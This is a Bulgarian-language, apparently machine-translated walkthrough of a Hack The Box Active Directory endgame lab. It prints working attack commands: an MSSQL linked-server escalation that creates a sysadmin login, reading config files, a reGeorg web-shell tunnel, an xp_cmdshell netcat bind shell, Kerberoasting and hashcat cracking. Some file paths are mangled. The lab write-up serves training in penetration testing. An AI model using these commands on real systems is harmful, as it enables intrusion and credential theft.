SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠšΠ°ΠΊΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°Ρ‚Π΅, ΠΈΠΌΠ°ΠΌΠ΅ всички ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ! НСка създадСм нашия администратор ΠΏΠΎ Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½. Но Π½Π΅ Π³ΠΈ пускат ΠΏΡ€Π΅Π· openquery, Π½Π΅ΠΊΠ° Π³ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ Ρ‡Ρ€Π΅Π· EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

И сСга сС ΡΠ²ΡŠΡ€Π·Π²Π°ΠΌΠ΅ с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ Π½Π° новия ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π», наблюдавамС Π½ΠΎΠ²Π°Ρ‚Π° Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ с Ρ„Π»Π°Π³ΠΎΠ²Π΅.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠŸΡ€Π΅Π΄Π°Π²Π°ΠΌΠ΅ Ρ‚ΠΎΠ²Π° Π·Π½Π°ΠΌΠ΅ ΠΈ ΠΎΡ‚ΠΈΠ²Π°ΠΌΠ΅ ΠΏΠΎ-Π½Π°Ρ‚Π°Ρ‚ΡŠΠΊ.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π€Π»Π°Π³ Π·Π° Π²Ρ€ΡŠΡ‰Π°Π½Π΅ Π½Π°Π·Π°Π΄

НСка Π²Π·Π΅ΠΌΠ΅ΠΌ ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° MSSQL, Π°Π· ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ mssqlclient ΠΎΡ‚ ΠΏΠ°ΠΊΠ΅Ρ‚Π° impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Врябва Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΈ ΠΏΡŠΡ€Π²ΠΎΡ‚ΠΎ Π½Π΅Ρ‰ΠΎ, с ΠΊΠΎΠ΅Ρ‚ΠΎ Π²Π΅Ρ‡Π΅ сС Π·Π°ΠΏΠΎΠ·Π½Π°Ρ…ΠΌΠ΅, Π΅ ΡΠ°ΠΉΡ‚ΡŠΡ‚. По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ сС Π½ΡƒΠΆΠ΄Π°Π΅ΠΌ ΠΎΡ‚ конфигурация Π½Π° ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ (нСвъзмоТно Π΅ Π΄Π° Ρ…Π²ΡŠΡ€Π»ΠΈΠΌ ΡƒΠ΄ΠΎΠ±Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°, ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ Π·Π°Ρ‰ΠΈΡ‚Π½Π°Ρ‚Π° стСна Ρ€Π°Π±ΠΎΡ‚ΠΈ).

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Но Π΄ΠΎΡΡ‚ΡŠΠΏΡŠΡ‚ Π΅ ΠΎΡ‚ΠΊΠ°Π·Π°Π½. Π’ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‡Π΅ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΏΡ€ΠΎΡ‡Π΅Ρ‚Π΅ΠΌ Ρ„Π°ΠΉΠ»Π° ΠΎΡ‚ MSSQL, просто трябва Π΄Π° Π·Π½Π°Π΅ΠΌ ΠΊΠ°ΠΊΠ²ΠΈ Π΅Π·ΠΈΡ†ΠΈ Π·Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€Π°Π½Π΅ са ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ΠΈ. И Π² дирСкторията MSSQL ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°ΠΌΠ΅, Ρ‡Π΅ ΠΈΠΌΠ° Python.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° няма ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π΄Π° ΠΏΡ€ΠΎΡ‡Π΅Ρ‚Π΅Ρ‚Π΅ Ρ„Π°ΠΉΠ»Π° web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘ Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ ΠΎΡ‚ΠΈΠ΄Π΅Ρ‚Π΅ Π½Π° /admin ΠΈ Π²Π·Π΅ΠΌΠ΅Ρ‚Π΅ Ρ„Π»Π°Π³Π°.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠΎΠΏΠΎΡ€Π½ΠΎ Π·Π½Π°ΠΌΠ΅

Π’ΡΡŠΡ‰Π½ΠΎΡΡ‚ ΠΈΠΌΠ° някои нСудобства ΠΎΡ‚ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π·Π°Ρ‰ΠΈΡ‚Π½Π° стСна, Π½ΠΎ ΠΏΡ€Π΅Π³Π»Π΅ΠΆΠ΄Π°ΠΉΠΊΠΈ ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ настройки, забСлязвамС, Ρ‡Π΅ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΈ IPv6 ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»!

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π”ΠΎΠ±Π°Π²Π΅Ρ‚Π΅ Ρ‚ΠΎΠ·ΠΈ адрСс към /etc/hosts.
dead:babe::1001 poo6.htb
НСка ΠΎΡ‚Π½ΠΎΠ²ΠΎ сканирамС хоста, Π½ΠΎ Ρ‚ΠΎΠ·ΠΈ ΠΏΡŠΡ‚ ΠΏΡ€Π΅Π· IPv6.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

А услугата WinRM Π΅ Π΄ΠΎΡΡ‚ΡŠΠΏΠ½Π° ΠΏΡ€Π΅Π· IPv6. НСка сС ΡΠ²ΡŠΡ€ΠΆΠ΅ΠΌ с Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Има Ρ„Π»Π°Π³ Π½Π° работния ΠΏΠ»ΠΎΡ‚, ΠΏΡ€Π΅Π΄Π°ΠΉΡ‚Π΅ Π³ΠΎ.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

P00ned Ρ„Π»Π°Π³

Π‘Π»Π΅Π΄ Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ Π½Π° Π΄ΠΎΠΌΠ°ΠΊΠΈΠ½Π° с winpeas Π½Π΅ Π½Π°ΠΌΠΈΡ€Π°ΠΌΠ΅ Π½ΠΈΡ‰ΠΎ особСно. Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° бСшС Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΎΡ‚Π½ΠΎΠ²ΠΎ Π΄Π° сС Ρ‚ΡŠΡ€ΡΡΡ‚ ΠΏΡŠΠ»Π½ΠΎΠΌΠΎΡ‰ΠΈΡ (Π°Π· ΡΡŠΡ‰ΠΎ писах ΠΏΠΎ Ρ‚Π°Π·ΠΈ Ρ‚Π΅ΠΌΠ° Бтатия). Но Π½Π΅ ΠΌΠΎΠΆΠ°Ρ… Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π° всички SPN ΠΎΡ‚ систСмата Ρ‡Ρ€Π΅Π· WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

НСка изпълним ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° Ρ‡Ρ€Π΅Π· MSSQL.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ SPN Π½Π° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅ p00_hr ΠΈ p00_adm, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π²Π°, Ρ‡Π΅ Ρ‚Π΅ са уязвими Π½Π° Π°Ρ‚Π°ΠΊΠ° ΠΊΠ°Ρ‚ΠΎ Kerberoasting. Накратко, ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Ρ…Π΅ΡˆΠΎΠ²Π΅Ρ‚Π΅ Π½Π° Ρ‚Π΅Ρ…Π½ΠΈΡ‚Π΅ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ.

ΠŸΡŠΡ€Π²ΠΎ трябва Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ стабилна ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΠΎΡ‚ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° потрСбитСля Π½Π° MSSQL. Но Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π½ΠΈΠ΅ смС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈ Π² Π΄ΠΎΡΡ‚ΡŠΠΏΠ°, ΠΈΠΌΠ°ΠΌΠ΅ Π²Ρ€ΡŠΠ·ΠΊΠ° с хоста само ΠΏΡ€Π΅Π· ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅ 80 ΠΈ 1433. Но Π΅ възмоТно Π΄Π° сС Ρ‚ΡƒΠ½Π΅Π»ΠΈΡ€Π° Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΏΡ€Π΅Π· ΠΏΠΎΡ€Ρ‚ 80! Π—Π° Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ слСдващо ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. НСка ΠΊΠ°Ρ‡ΠΈΠΌ Ρ„Π°ΠΉΠ»Π° tunnel.aspx Π² Π΄ΠΎΠΌΠ°ΡˆΠ½Π°Ρ‚Π° дирСктория Π½Π° ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€Π° - C: inetpubwwwroot.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Но ΠΊΠΎΠ³Π°Ρ‚ΠΎ сС ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Π½Π΅Π³ΠΎ, ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ Π³Ρ€Π΅ΡˆΠΊΠ° 404. Π’ΠΎΠ²Π° ΠΎΠ·Π½Π°Ρ‡Π°Π²Π°, Ρ‡Π΅ *.aspx Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ Π½Π΅ сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚. Π—Π° Π΄Π° стартиратС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ с Ρ‚Π΅Π·ΠΈ Ρ€Π°Π·ΡˆΠΈΡ€Π΅Π½ΠΈΡ, инсталирайтС ASP.NET 4.5, ΠΊΠ°ΠΊΡ‚ΠΎ слСдва.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И сСга, ΠΏΡ€ΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ tunnel.aspx, ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€, Ρ‡Π΅ всичко Π΅ Π³ΠΎΡ‚ΠΎΠ²ΠΎ Π·Π° Ρ€Π°Π±ΠΎΡ‚Π°.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

НСка стартирамС клиСнтската част Π½Π° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ, която Ρ‰Π΅ прСнасочва Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°. Π©Π΅ ΠΏΡ€Π΅ΠΏΡ€Π°Ρ‚ΠΈΠΌ цСлия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΎΡ‚ ΠΏΠΎΡ€Ρ‚ 5432 към ΡΡŠΡ€Π²ΡŠΡ€Π°.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И Π½ΠΈΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ прокси Π²Π΅Ρ€ΠΈΠ³ΠΈ, Π·Π° Π΄Π° ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°ΠΌΠ΅ Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ° Π½Π° всяко ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€Π΅Π· Π½Π°ΡˆΠ΅Ρ‚ΠΎ прокси. НСка Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Ρ‚ΠΎΠ²Π° прокси към конфигурационния Ρ„Π°ΠΉΠ» /etc/proxychains.conf.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π΅Π³Π° Π½Π΅ΠΊΠ° ΠΊΠ°Ρ‡ΠΈΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π° Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π° netcat, с ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ стабилСн bind shell, ΠΈ скрипта Π˜Π·Π²ΠΈΠΊΠ°ΠΉΡ‚Π΅ Kerberoast, с ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ ΠΈΠ·Π²ΡŠΡ€ΡˆΠΈΠΌ Kerberoasting Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π΅Π³Π° Ρ‡Ρ€Π΅Π· MSSQL стартирамС ΡΠ»ΡƒΡˆΠ°Ρ‚Π΅Π»Ρ.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И сС ΡΠ²ΡŠΡ€Π·Π²Π°ΠΌΠ΅ Ρ‡Ρ€Π΅Π· Π½Π°ΡˆΠ΅Ρ‚ΠΎ прокси.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И Π΄Π° Π²Π·Π΅ΠΌΠ΅ΠΌ Ρ…Π΅ΡˆΠΎΠ²Π΅Ρ‚Π΅.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° трябва Π΄Π° ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚Π΅ Ρ‚Π΅Π·ΠΈ Ρ…Π΅ΡˆΠΎΠ²Π΅. Въй ΠΊΠ°Ρ‚ΠΎ rockyou нямашС Ρ€Π΅Ρ‡Π½ΠΈΠΊ с Π΄Π°Π½Π½ΠΈ Π·Π° ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ… Π’Π‘Π˜Π§ΠšΠ˜ Ρ€Π΅Ρ‡Π½ΠΈΡ†ΠΈ Π·Π° ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, прСдоставСни Π² Seclists. Π—Π° изброяванС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

И Π½Π°ΠΌΠΈΡ€Π°ΠΌΠ΅ ΠΈ Π΄Π²Π΅Ρ‚Π΅ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, ΠΏΡŠΡ€Π²Π°Ρ‚Π° Π² Ρ€Π΅Ρ‡Π½ΠΈΠΊΠ° dutch_passwordlist.txt, Π° Π²Ρ‚ΠΎΡ€Π°Ρ‚Π° Π² Keyboard-Combinations.txt.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

